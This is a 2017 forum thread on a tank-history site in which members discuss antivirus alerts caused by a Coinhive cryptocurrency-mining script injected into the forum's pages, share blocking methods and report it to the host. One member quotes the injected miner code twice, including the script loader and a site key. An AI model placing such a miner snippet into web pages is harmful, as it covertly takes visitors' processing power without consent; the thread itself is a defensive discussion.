Landships II

Breaking:


Announcement: Please read the following announcement!

Members Login
Username 
 
Password 
    Remember Me  
Chatbox
Please log in to join the chat!
Post Info TOPIC: Virus warning


Commander in Chief

Status: Offline
Posts: 522
Date:
Virus warning
Permalink   


Everytime I come on the forum, my AVG blocks a site called coinhive.com, as it has a data mining virus. Anybody else get this?



__________________


Brigadier

Status: Offline
Posts: 257
Date:
Permalink   

Yes, the same here. It started last week and has stopped this weekend.

It is blocked bij my virusscanner.

Willem



__________________


Sergeant

Status: Offline
Posts: 41
Date:
Permalink   

Yep. Me too. Still happening.



__________________


Legend

Status: Offline
Posts: 1727
Date:
Permalink   

It's built into the page - Coinhive is a nasty piece of crap that tries to use any computer hitting that web page

to get some free processing for bitcoin mining. The offending piece of code on the activeboard page is:

 

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>

var miner = new CoinHive.Anonymous('JntxuNWNVvu7sGkUjCDHArA2r1TUTv8t',{threads: 1, throttle: 0.30});

miner.start();

 

Activeboard really is down in the slime if they think that's a good way to treat users. That code is coming off the Activeboard

server. Easy way to kill it is not to leave an Activeboard tab open - Coinhive is part of the web page.

Charlie

 

Edit: I found a way to block the call to CoinHive - added a custom filter to Adblock.   



-- Edited by CharlieC on Tuesday 10th of October 2017 10:43:41 AM



-- Edited by CharlieC on Tuesday 10th of October 2017 12:22:07 PM

__________________
Ned


Lieutenant-Colonel

Status: Offline
Posts: 183
Date:
Permalink   

Is Activeboard aware of this ? could it be that their servers were infected without them knowing it.

I have just installed No Coin, and NoMiner on my Firefox browser. They seem to be working, they show how many attempts they have blocked.

I'm not promoting this in anyway (and I have no stock in this), i'm just giving information on what I am using to block coinhive.

 



-- Edited by Ned on Tuesday 10th of October 2017 06:31:19 PM

__________________


Legend

Status: Offline
Posts: 1727
Date:
Permalink   

 

I reported the Coinhive script to Sparklit - the owner of Activeboard. They got back to me saying this had occurred on a few forums

and that they were investigating.

They pointed out that a forum owner can add html/script to the basic pages. I got back to them pointing out the landships forum

has had no forum owner for years and it's likely Activeboard has a hacking/staffing problem.

Charlie

 



__________________
Ned


Lieutenant-Colonel

Status: Offline
Posts: 183
Date:
Permalink   

Thanks Charlie, I was thinking that activeboard/Sparklit would not do it themselves, but a hacker of sorts..



__________________


Legend

Status: Offline
Posts: 1328
Date:
Permalink   

Do I need to do anything given I have security software? (I'm not an IT geek so a plain English answer would be appreciated, if possible). Thanks

Gwyn

__________________

Britain to Stay in EU. We are the 48%.



Legend

Status: Offline
Posts: 1727
Date:
Permalink   

I'm not sure there is a simple answer. Like many things in IT - "it depends".

If your security software is alerting you to the attempt to download Coinhive or similar then you don't have to do anything

the security software will stop the rogue software running. If you are not getting alerts it means Coinhive is getting through

the local security check and is probably leaching some of your computer resources while you have the Landships forum open.

If this is the case then you can install a blocker plugin on your browser - there were some suggestions in an earlier post - or add

a filter to adblock - if you are running adblock. 

I've tried both solutions and they work equally well.

Regards,

Charlie

 



__________________


Legend

Status: Offline
Posts: 1328
Date:
Permalink   

Thank you. I hadn't got any notifications from my security software before tonight, but now it's going mad telling me it's blocked an attack by coinminer.

Gwyn

__________________

Britain to Stay in EU. We are the 48%.



Sergeant

Status: Offline
Posts: 36
Date:
Permalink   

Gwyn Evans wrote:

Thank you. I hadn't got any notifications from my security software before tonight, but now it's going mad telling me it's blocked an attack by coinminer.

Gwyn

Possibly had an update to your virus software?

By the way, according to my Norton the infection seems to come from these spam postings advertising 'writing' services?  It's really up to the host of the forums to sort this out or find a new host.

jh

 



__________________
jch


Legend

Status: Offline
Posts: 1727
Date:
Permalink   

 

Norton speak with forked tongue (kinky isn't it?).

The call and instantiation of the coin miner is being inserted into the page code during page assembly at the server.

The spam writing services are actual posts - possibly from a bot. If we had high level owner control the accounts this crap

is using would be gone in a flash.

Charlie

 



__________________
Ned


Lieutenant-Colonel

Status: Offline
Posts: 183
Date:
Permalink   

Who originally setup the Landships forum ? that's the person that can change it.



__________________


Legend

Status: Offline
Posts: 1727
Date:
Permalink   

Peter Kempf - been missing for many years. He also set up the landships.freeservers website - we retrieved

that and rebuilt it as Landships II.

Charlie



__________________
Ned


Lieutenant-Colonel

Status: Offline
Posts: 183
Date:
Permalink   

Sounds to me that the owners Sparklit / Activeboard people need to give you support, since you are paying for the site as it is.

I know this is easier said then done. But they do owe you help / service, especially when it concerns a form of virus..



__________________


Legend

Status: Offline
Posts: 1727
Date:
Permalink   

Ned wrote:

Sounds to me that the owners Sparklit / Activeboard people need to give you support, since you are paying for the site as it is.

I know this is easier said then done. But they do owe you help / service, especially when it concerns a form of virus..


 As far as I know the Activeboard forum is a legacy deal which either was paid for or had revenue from ads. I run Adblock so I have no idea

whether Activeboard displays ads on the website. There used to be a counter on the bottom of the forum pages showing the current financial

status but this disappeared years ago.

I'm not going to hold my breath waiting for Sparklit to do anything - they look like the usual IT corporation - totally disinterested in everything

except that which affects their bottom line. 

(When I used to work in IT the amount of whining from IT employees about how people seemed to hate IT companies was prodigious. It never seemed

to dawn on people the responsibility for this was down to the management and financial personnel of IT organisations - shitheads and psychopaths were complimentary

terms for them.)

Charlie



__________________


Brigadier

Status: Offline
Posts: 257
Date:
Permalink   

On Missing Lynx is a thread about problems with the Landships site....

it looks like it scares visitors to this site and that is not good. 🤔

Here it is:

http://www.network54.com/Forum/282066/thread/1509157526/last-1509360042/View+Thread

best regards, Willem



__________________


Legend

Status: Offline
Posts: 1727
Date:
Permalink   

 

I've replied to the thread. The issue really is paranoid heaps of rubbish like Norton. The best solution is not to use Windows of any flavour.

 

Charlie



__________________


Hero

Status: Offline
Posts: 829
Date:
Permalink   

Charlie What do I write as a custom filter in Adblock Plus please
Paul

__________________

The finest stories of the Great War are those that will never be told.



Legend

Status: Offline
Posts: 1727
Date:
Permalink   

Just add the line

coinhive.com

Seems to stop the thing quite effectively

Regards,

Charlie

 



__________________


Corporal

Status: Offline
Posts: 8
Date:
Permalink   

Hi Everyone,

I've gone ahead and resolved this issue and it should be sorted out now.

Cheers

Rob @ SparkLit
rob@sparklit.com

__________________


Legend

Status: Offline
Posts: 1727
Date:
Permalink   

 

Not so fast - just checked after <shift><refresh> of this page:

At line 2773 of the page source there is the code:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>

var miner = new CoinHive.Anonymous('JntxuNWNVvu7sGkUjCDHArA2r1TUTv8t',{threads: 1, throttle: 0.30});

miner.start();

</script>

Either you haven't got rid of the source of this thing or it is in the server caches and needs to be cleaned out.

Regards,

Charlie

 



-- Edited by CharlieC on Thursday 2nd of November 2017 10:05:50 AM

__________________
PDA


Legend

Status: Offline
Posts: 1321
Date:
Permalink   

Something similar to this was in the news here in Canada. I thought it was a cheeky bit of programming that uses some of your computer processing time to support, for example, online gaming. Is it more sinister?

And, yes, it's usually hidden (so the news article said) on the host's servers, so it would load when the forum loads.



-- Edited by PDA on Thursday 2nd of November 2017 05:54:37 PM



__________________


Hero

Status: Offline
Posts: 829
Date:
Permalink   

There is now a small programme you can install called AntiWeb Miner that protects your PC from these miners
Paul


__________________

The finest stories of the Great War are those that will never be told.

Page 1 of 1  sorted by
 
Quick Reply

Please log in to post quick replies.

Tweet this page Post to Digg Post to Del.icio.us